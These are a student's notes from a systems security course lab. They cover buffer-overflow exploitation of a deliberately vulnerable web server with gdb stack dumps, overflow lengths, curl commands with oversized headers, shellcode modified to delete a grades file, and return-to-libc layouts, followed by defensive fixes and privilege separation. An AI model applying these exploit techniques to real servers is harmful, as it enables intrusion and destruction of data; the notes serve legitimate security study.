# 858 labs

- check if sshd is running with `pgrep -A | grep ssh`

## gdb commands

- `p <expr>` - executes C syntax `expr` and prints output
- `x/<#><type> <addr>` - `ex`amine memory at an address, print up to `#` bytes in `type` format
- `info reg` - prints human-interpretable stack registers
- `info frame` - prints human-interpretable stack frame
- `info stack` - prints call stack
- `disas <addr>` - print assembly code corresponding to instruction address

## Lab 1

### Part 1

**`reqpath` overflow**

```
&fd            = 0xbffffde0
$ebp           = 0xbffffdd8
&reqpath - 2048 = 0xbffffdcc
&reqpath       = 0xbffff5cc
```

If writing length > 2612 bytes, the function `http.c:url_decode` tries to access the address `0xc0000000`, which is protected kernel memory.

If writing length 2608 bytes, the function `http.c:env_deserialize` segfaults, trying to access an address `0x41414142`.

If writing length 2072 bytes, inside `http_request_line` the address `0xbffffdcc` has `0x414141…` but not outside the function?
before:

```
(gdb) x/20x reqpath+2032
0xbffffdbc:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffdcc:     0x401dc000      0xbffffe18      0x40014f10      0xbffffe18
0xbffffddc:     0x08048fb3      0x00000004      0x401dc000      0xbffffe18
```

```
0xbffffdec:     0x08048f88      0xffffffff      0x0000002f      0x40036dc8
0xbffffdfc:     0x40029858      0x00008000      0x00000000      0x00000004
```

right after:

```
0xbffffdbc:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffdcc:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffddc:     0x41414141      0x41414141      0x40004141      0xbffffe18
0xbffffdec:     0x08048f88      0xffffffff      0x0000002f      0x40036dc8
0xbffffdfc:     0x40029858      0x00008000      0x00000000      0x00000004
```

after `env_deserialize`:

```
(gdb) x/20x reqpath+2032
0xbffffdbc:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffdcc:     0x00000000      0x41414141      0x41414141      0x41414141
0xbffffddc:     0x41414141      0x41414141      0x40004141      0xbffffe18
0xbffffdec:     0x08048f88      0xffffffff      0x0000002f      0x40036dc8
0xbffffdfc:     0x40029858      0x00008000      0x00000000      0x00000004
```

- notes:
  - `0xbffffdcc = reqpath+2048`
  - `*0xbffffdcc = errmsg`
  - `0xbffffddc` = saved eip, points to `run_server` line for `process_client` call
  - `0xbffffdd8 = &fd`
  - `0xbffffdd4`: AAA string ends there

Right length is 2068 for corrupting return address

**`http_request_headers` overflow**

```
&value = 0xbffff394
&envvar = 0xbffff194
```

```
Stack level 0, frame at 0xbffff5b0:
 eip = 0x8049502 in http_request_headers (http.c:159); saved eip = 0x8049083
```

```
called by frame at 0xbffffde0
source language c.
Arglist at 0xbffff5a8, args: fd=4
Locals at 0xbffff5a8, Previous frame's sp is 0xbffff5b0
Saved registers:
 ebp at 0xbffff5a8, eip at 0xbffff5ac
```

Saved return address @ `0xbffff5ac`, saved ebp @ `0xbffff5a8`

Run the command:
`curl http://192.168.218.128:8080/ -H "HOST: <'A' repeated >540 times>"`

Or
`curl http://192.168.218.128:8080/ -H "<'A' repeated >1047 times>: 0"`

Before `url_decode`/`sprintf`:

```
(gdb) x/20x 0xBFFFF594-4
0xbffff590:     0x00000000      0x08050144      0x08050146      0x00000004
0xbffff5a0:     0x00000000      0x00000000      0xbffffdd8      0x08049083
0xbffff5b0:     0x00000004      0x00001faf      0x0804c120      0x0804e120
0xbffff5c0:     0x00000000      0x00000000      0x00000000      0x0000002f
0xbffff5d0:     0x00000000      0x00000000      0x00000000      0x00000000
```

After `url_decode`/`sprintf` call:

```
0xbffff590:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff5a0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff5b0:     0x00000004      0x00001faf      0x0804c120      0x0804e120
0xbffff5c0:     0x00000000      0x00000000      0x00000000      0x0000002f
0xbffff5d0:     0x00000000      0x00000000      0x00000000      0x00000000
```

**`http_serve` overflow**

send request with pathname longer than 1024, shorter than 2048 (to not overflow `reqpath`)

**`http_serve_directory` overflow**
this was a little trickier…
the problem is that you need a valid pathname for `stat` to return a falsey value (0)
trick is to do this: `/zoobar/../zoobar/../zoobar/…` etc.
`curl` normally compresses the path for you, unless you use the flag `--path-as-is`

**Writing the exploits**
Easy, just gotta make sure you get the HTTP request format correct

I did the one where you send a long header value for the "overwrite return value" exploit

For the "other data structure" exploit, I hijacked `handler` in `http_serve` by overflowing `pn`. Stuck for a while on how to URL-encode my instruction address (for `http_err` instead of `http_serve_none`, but this would break anyway cause the args are different). Turns out you have to use `struct.pack("<I", <int>)` and `urllib.quote()`.

## Part 2

**shellcode.S (warmup)**
This took a little bit to understand

- `int 0x80` is the `interrupt` command, and `0x80` is interrupt for syscall
- Gotta set the syscall number correctly in line 21 (to `SYS_unlink` instead of `SYS_execve`)
- Then change the argument in `ebx` (used to be doing `SYS_execve` on `/bin/sh`, now it's calling `SYS_unlink` on `/home/httpd/grades.txt`)
- Make sure you change the `STRLEN` macro to match the length of `STRING`

**deleting grades.txt**
My approach: store the `shellcode.bin` in a buffer, then overflow that same buffer and set the return address to the start address of that buffer (since it's an executable stack)

going to use the vulnerability #1 in bugs.txt (`reqpath`)
`reqpath` is at `0xbffff5bc`
saved eip is at `0xbffffdcc`
difference is 2080 bytes
`shellcode.bin` is 60 bytes from ls

ugh actually this is breaking before I can return from `process_client`

will try `http_request_headers` instead, or maybe try preserving other important values on stack
in gdb: `x/20x reqpath+2032`

sad i tried preserving values and it was beautiful (even added `fd` back in, which was being overwritten by null character at end of my overflowed buffer) but `http_serve` thwarted me… fine i will use `http_request_headers`

before anything bad:

```
(gdb) info frame
```

```
Stack level 0, frame at 0xbffff5a0:
 eip = 0x8049502 in http_request_headers (http.c:159); saved eip = 0x8049083
 called by frame at 0xbffffdd0
 source language c.
 Arglist at 0xbffff598, args: fd=4
 Locals at 0xbffff598, Previous frame's sp is 0xbffff5a0
 Saved registers:
  ebp at 0xbffff598, eip at 0xbffff59c
```

```
(gdb) x/20x value+496
0xbffff574:	0x0804a752	0x00000001	0x00000000	0x00000000
0xbffff584:	0x08050147	0x08050149	0x00000007	0x00000000
0xbffff594:	0x00000000	0xbffffdc8	0x08049083	0x00000004
0xbffff5a4:	0x00001faf	0x0804c120	0x0804e120	0x00000000
0xbffff5b4:	0x00000000	0x00000000	0x0000002f	0x00000000
```

```
(gdb) p value
$3 = "\353\037^\211v\027\061\300\210F\026\211F\033\260\n\211\363\215N\027\215V\033ì377\377\377\334\350\@̀330\ۆ/home/httpd/grades.txt", 'A' <repeats 452 times>
```

whew finally got this

had to take care to preserve values on stack between the end of the buffer and the saved eip so as to not corrupt function flow and get correctly to the function return

## Part 3

**exploit-4a:**
address of libc's `system` call: `0x40063da0`
address of `unlink`: `0x40100680`
`int unlink(const char *file);`

```
Stack level 0, frame at 0xbffff5a0:
 eip = 0x8049502 in http_request_headers (http.c:159); saved eip = 0x8049083
 called by frame at 0xbffffdd0
 source language c.
 Arglist at 0xbffff598, args: fd=4
 Locals at 0xbffff598, Previous frame's sp is 0xbffff5a0
 Saved registers:
  ebp at 0xbffff598, eip at 0xbffff59c
```

&fd from caller is at `0xbffffdd0`

```
(gdb) x/20x value+496
0xbffff574:	0x0804a752	0x00000001	0x00000000	0x0
0000000
0xbffff584:	0x08050147	0x08050149	0x00000007	0x0
0000000
0xbffff594:	0x00000000	0xbffffdc8	0x08049083	0x0
0000004
0xbffff5a4:	0x00001faf	0x0804c120	0x0804e120	0x0
0000000
0xbffff5b4:	0x00000000	0x00000000	0x0000002f	0x0
0000000
```

| | | | | | |
|---|---|---|---|---|---|
| | | | | | **now start of arg path string** |
| `0xbffff5a4` | | | | `0xbffff5a8` | **now address to start of arg path string** |
| `0xbffff5a0` | | `0x00000004` | | `0x41414141` | **now address to return to after** |
| `0xbffff59c` | ret→ | `0x08049083` | | `0x40100680` | **now address of `unlink`** |
| `0xbffff598` | EBP→ | `0xbffffdc8` | ESP→ | `0x00000000` | saved ebp (higher address) |
| `0xbffff594` | | `0x00000000` | | `0xXXXXXXXX` | old local var |
| `0xbffff590` | | `0x00000000` | | `0xXXXXXXXX` | old local var |
| `0xbffff58c` | ESP ↓ | `0x00000007` | | `0xXXXXXXXX` | old local var |

**exploit-4b:**

`&pn = 0xbffff18c`
`&handler = 0xbffff58c`

```
Stack level 0, frame at 0xbffff5a0:
 eip = 0x804985d in http_serve (http.c:282); saved eip = 0x80490c5
 called by frame at 0xbffffdd0
 source language c.
 Arglist at 0xbffff598, args: fd=4, name=0x8053744 "/", 'A' <repeats 199 tim
es>...
 Locals at 0xbffff598, Previous frame's sp is 0xbffff5a0
 Saved registers:
  ebp at 0xbffff598, eip at 0xbffff59c
```

```
(gdb) x/20x pn+1008
0xbffff57c:	0x0000000b	0xbffffdc8	0x40015010	0x4
00570f9
0xbffff58c:	0x080498fa	0x401db000	0x401db000	0xb
ffffdc8
0xbffff59c:	0x080490c5	0x00000004	0x08053744	0x0
804c120
0xbffff5ac:	0x0804e120	0x00000000	0x00000000	0x0
0000000
0xbffff5bc:	0x4141412f	0x41414141	0x41414141	0x4
1414141
```

## Part 4

other security vulnerabilities - `http_serve_executable`, `http_serve_file`, `http_serve_directory`

fix them by replacing dangerous string ops with

```
n = snprintf(dst, dst_size, "%s", src);
if (n >= dst_size)
    panic();
```

# Lab 2

- run `sudo make setup` and `sudo ./zookld zook.conf`

## Part 1

**Exercise 2**

edited `zookld.c` to jail process being launched with calls to `chroot` and then to `chdir` to change the working dir to the new jail directory

**Exercise 3**

set `uid`, `gid`, and `groups` for the launched services in `zookld.c`. make sure to set `uid` last, since you need to still be superuser (`uid=0`) to chroot etc.

edited `chroot-setup.sh` to set perms of dirs appropriately (so that new `zookfs_svc` process can edit files still)

**Exercise 4**
split `zookfs_svc` into static and dynamic content serving. use `chroot-setup` to make sure perms are sets appropriately (e.g. so that static service doesn't have db write access)

**Exercise 5**
Edited files:

- `chroot-setup.sh` - added `/authsvc` dir for socket with right owner, changed permissions on new cred db
- `zoobar/auth-server.py` - filled in 3 rpc functions for login, register, and checking tokens
- `zoobar/auth.py` - changed to use cred db instead of person db
- `zoobar/auth_client.py` - filled in 3 rpc calls
- `zoobar/login.py` - changed to use `auth_client` module instead of `auth`
- `zoobar/zoodb.py` - added new cred db, defined schema, added setup function
- `zook.conf` - added new `auth_svc`

**Exercise 6**
just generate a salt on register, convert to base64, store in cred table, then use hash function to hash pw + salt and store result in cred table
then on login, retrieve salt and hash together with alleged pw, then check against table

**Exercise 7**
same thing as ex5 but with new bank
also added rpc calls for `get_log` and `create`
bank service has permissions to transfer db and bank db

**Exercise 8**
just added another param `token` to rpc call for `transfer` and added it in the calls

**Exercise 9**
Added another service in conf, changed uid of `profile-service` to be nonzero (non-root)

**Exercise 10**
Made subdirectories for each user inside `/jail` (converting weird characters as needed) and chrooted to that dir instead of `/tmp`

**Exercise 11**
Made `ProfileAPIServer` non-root, using the other `bank` and `auth` clients instead of calling directly